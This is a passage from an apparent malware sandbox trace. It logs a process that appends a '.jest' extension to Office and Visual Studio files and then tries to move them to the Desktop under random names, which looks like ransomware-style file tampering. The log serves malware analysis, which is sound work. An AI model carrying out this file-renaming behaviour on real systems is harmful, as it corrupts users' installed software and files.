(x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\UserControl.zip.jest" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\usercontrol.zip.jest")) returned 1 [0163.263] VarBstrFromR4 (in: fltIn=0x47945677, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.93") returned 0x0 [0163.264] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\UserControl.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\usercontrol.zip"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Kp te4VTsoJyTjEgtO0ah-zp2D9Xgs0zQnyWbBj8XWNI zSUzuQ1l-17 -hKf7tkedef4vR8H2yJIqpddRd_c1Sz7REoR2b0vWLL3.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kp te4vtsojytjegto0ah-zp2d9xgs0zqnywbbj8xwni zsuzuq1l-17 -hkf7tkedef4vr8h2yjiqpddrd_c1sz7reor2b0vwll3.tmp")) returned 0 [0163.265] GetLastError () returned 0x2 [0163.265] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="靈", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.267] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Visualizer.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\visualizer.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Visualizer.zip.jest" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\visualizer.zip.jest")) returned 1 [0163.269] VarBstrFromR4 (in: fltIn=0x47945677, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.93") returned 0x0 [0163.269] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Visualizer.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\visualizer.zip"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OuZFUGtd-S2Bz2zuYk3gAcjSrEcNZn5FePSBzdfqtjbRkZPNni8gCGEZB9eCzaIj1CMZ-MIIKethhoZt-X8P X33d94n4w_ 6Z1Iu.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ouzfugtd-s2bz2zuyk3gacjsrecnzn5fepsbzdfqtjbrkzpnni8gcgezb9eczaij1cmz-miikethhozt-x8p x33d94n4w_ 6z1iu.tmp")) returned 0 [0163.270] GetLastError () returned 0x2 [0163.270] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="靈", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.272] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\XmlFile.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\xmlfile.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\XmlFile.zip.jest" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\xmlfile.zip.jest")) returned 1 [0163.278] VarBstrFromR4 (in: fltIn=0x47945677, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.93") returned 0x0 [0163.279] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\XmlFile.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\xmlfile.zip"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nXfSOGpdOtXEdJc0cdeA6aCN62GwjG_fGX8SddJ WFkeOsGtj3KCzKOR_eTzuKPOqLt-NJIQtZU7hLcnkk6AAFxTeMTbQrKUH-G.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nxfsogpdotxedjc0cdea6acn62gwjg_fgx8sddj wfkeosgtj3kczkor_etzukpoqlt-njiqtzu7hlcnkk6aafxtemtbqrkuh-g.tmp")) returned 0 [0163.279] GetLastError () returned 0x2 [0163.281] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="吝", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.281] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.jest")) returned 1 [0163.286] VarBstrFromR4 (in: fltIn=0x47945679, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.95") returned 0x0 [0163.287] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\41jTKveO1z3ai9BSv_ub7WzNykfDHeNLKq0MdS8sEJsiSJ9BJLOT_w-Jp5MTmHGYqH3Zsi1Hnsqhk1o7liwTE8aJU5BwysFhHyYSI.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\41jtkveo1z3ai9bsv_ub7wznykfdhenlkq0mds8sejsisj9bjlot_w-jp5mtmhgyqh3zsi1hnsqhk1o7liwte8aju5bwysfhhyysi.tmp")) returned 0 [0163.287] GetLastError () returned 0x2 [0163.289] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="吝", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.289] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml.jest")) returned 1 [0163.291] VarBstrFromR4 (in: fltIn=0x47945679, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.95") returned 0x0 [0163.292] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\C2pepfKkcqstfcfL- zFYjb tR0ALxPU72ir_8-ys-ZK_u8AYmNX8gl0SIWzbN6hCX5IT4vYKf qTvQV7bVkJXmbtpT0 BK9HGJ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\c2pepfkkcqstfcfl- zfyjb tr0alxpu72ir_8-ys-zk_u8aymnx8gl0siwzbn6hcx5it4vykf qtvqv7bvkjxmbtpt0 bk9hgj.tmp")) returned 0 [0163.292] GetLastError () returned 0x2 [0163.292] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="侮", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.293] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.jest")) returned 1 [0163.294] VarBstrFromR4 (in: fltIn=0x4794567b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.96") returned 0x0 [0163.296] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\osMYRhrUfFelX3eVk8HOYi5JoJ_R_S5CMscEsIl1Ph2umMz1vA4QB2_e6ec7qgiPSZWqZONVO6PAUH2oY9oE32BlEHRwR4qWAUb.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\osmyrhruffelx3evk8hoyi5joj_r_s5cmscesil1ph2ummz1va4qb2_e6ec7qgipszwqzonvo6pauh2oy9oe32blehrwr4qwaub.tmp")) returned 0 [0163.296] GetLastError () returned 0x2 [0163.300] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.300] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.jest")) returned 1 [0163.302] VarBstrFromR4 (in: fltIn=0x4794567b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.96") returned 0x0 [0163.303] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tz7SvVPOfXwOdiv-rM01jFwUJQkj0 WdvfZbpWSMlcdfSXL-Y_ 3 hw34hoGT EbsR6r4ESxo811IVidQ nYWlodeSIb6VCJYxAYq.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tz7svvpofxwodiv-rm01jfwujqkj0 wdvfzbpwsmlcdfsxl-y_ 3 hw34hogt ebsr6r4esxo811ividq nywlodesib6vcjyxayq.tmp")) returned 0 [0163.303] GetLastError () returned 0x2 [0163.304] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="侮", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.305] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml.jest")) returned 1 [0163.307] VarBstrFromR4 (in: fltIn=0x4794567b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.96") returned 0x0 [0163.308] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gSjGq07KqiyimPZVQZlhGpexIBOK_WPf-ZqnsMTRLxboZ5nmQgzkZI_pWs4ncJ6UIhSf5lYm3FaWm-74rP7LbEJXw Uy NoLPO.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gsjgq07kqiyimpzvqzlhgpexibok_wpf-zqnsmtrlxboz5nmqgzkzi_pws4ncj6uihsf5lym3fawm-74rp7lbejxw uy nolpo.tmp")) returned 0 [0163.308] GetLastError () returned 0x2 [0163.309] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.309] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.jest" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.jest")) returned 1 [0163.311] VarBstrFromR4 (in: fltIn=0x4794567d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.98") returned 0x0 [0163.312] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NotFdORFQl4y73I16Raqo9eUd02PjdHbG0CxUmPmOspdwlEPKT3dWGIQWIikK_rDitFq8 b-gpro-scGiHlZ7xbPU0MFumfoq9J.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\notfdorfql4y73i16raqo9eud02pjdhbg0cxumpmospdwlepkt3dwgiqwiikk_rditfq8 b-gpro-scgihlz7xbpu0mfumfoq9j.tmp")) returned 0 [0163.312] GetLastError () returned 0x2 [0163.312] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.313] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.XLA" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\exptoows.xla"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.XLA.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\exptoows.xla.jest")) returned 1 [0163.325] VarBstrFromR4 (in: fltIn=0x4794567d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.98") returned 0x0 [0163.326] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.XLA" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\exptoows.xla"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lFk X5TyW-PoSf1yiAssCUmEj-bolwTTY8CYYRzMbAdmmyZgyU0VLc4WYZKmjvr2UsOu4vWhjwxes-RBfiwXEPsyLKn-rVzu8XgJ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lfk x5tyw-posf1yiasscumej-bolwtty8cyyrzmbadmmyzgyu0vlc4wyzkmjvr2usou4vwhjwxes-rbfiwxepsylkn-rvzu8xgj.tmp")) returned 0 [0163.326] GetLastError () returned 0x2 [0163.327] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="漢", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.328] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.jest")) returned 1 [0163.330] VarBstrFromR4 (in: fltIn=0x4794567f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.99") returned 0x0 [0163.331] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gRBL6kKprH74QeNLqM-Kr_DpktW6Q5JHLjUrxyuY_bUxfcYjvhtl5BOlpkvQzQrusVLvwxI7jg5Mkw QyetMbOq9HAF8wHVDvcG5M.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\grbl6kkprh74qenlqm-kr_dpktw6q5jhljurxyuy_buxfcyjvhtl5bolpkvqzqrusvlvwxi7jg5mkw qyetmboq9haf8whvdvcg5m.tmp")) returned 0 [0163.331] GetLastError () returned 0x2 [0163.331] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="漢", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.332] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.jest")) returned 1 [0163.333] VarBstrFromR4 (in: fltIn=0x4794567f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.99") returned 0x0 [0163.334] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qTEHG8MgjWO9Rqs-3_6V92nlj9eLENnZlcCF1lyyr0ZLvf J79SaXzHNoFPZhU vg9X_D1Leob_BTJzW-eHDqQ3TPOKVAh6URFN0.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qtehg8mgjwo9rqs-3_6v92nlj9elennzlccf1lyyr0zlvf j79saxzhnofpzhu vg9x_d1leob_btjzw-ehdqq3tpokvah6urfn0.tmp")) returned 0 [0163.334] GetLastError () returned 0x2 [0163.335] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.335] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencyletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyLetter.dotx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencyletter.dotx.jest")) returned 1 [0163.337] VarBstrFromR4 (in: fltIn=0x4794567f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.99") returned 0x0 [0163.338] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencyletter.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\XpG-0FeCG_TuIeRjSKj5ePgoDUX6j99MHCJ6wEC9cI-JbNtoIdce8zauwDNhlG4SCJudKCq4u rF9Dt -AVDV0mx-2ipQkD8zrU y.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xpg-0fecg_tuierjskj5epgodux6j99mhcj6wec9ci-jbntoidce8zauwdnhlg4scjudkcq4u rf9dt -avdv0mx-2ipqkd8zru y.tmp")) returned 0 [0163.338] GetLastError () returned 0x2 [0163.339] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="視", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.340] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml.jest")) returned 1 [0163.343] VarBstrFromR4 (in: fltIn=0x47945681, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.01") returned 0x0 [0163.344] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jIhz80HFgBHMmMmb377xxoxJ78u 5LMmXo5RVyRLZlWLs8oEFOOamQlECeC2 KwHJVGu4ml__jlWyRG_2yXlSp_7NoX4yu-6_g4c.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jihz80hfgbhmmmmb377xxoxj78u 5lmmxo5rvyrlzlwls8oefooamqlecec2 kwhjvgu4ml__jlwyrg_2yxlsp_7nox4yu-6_g4c.tmp")) returned 0 [0163.344] GetLastError () returned 0x2 [0163.352] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="祐", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.353] MoveFileA (lpExistingFileName="C:\\Program 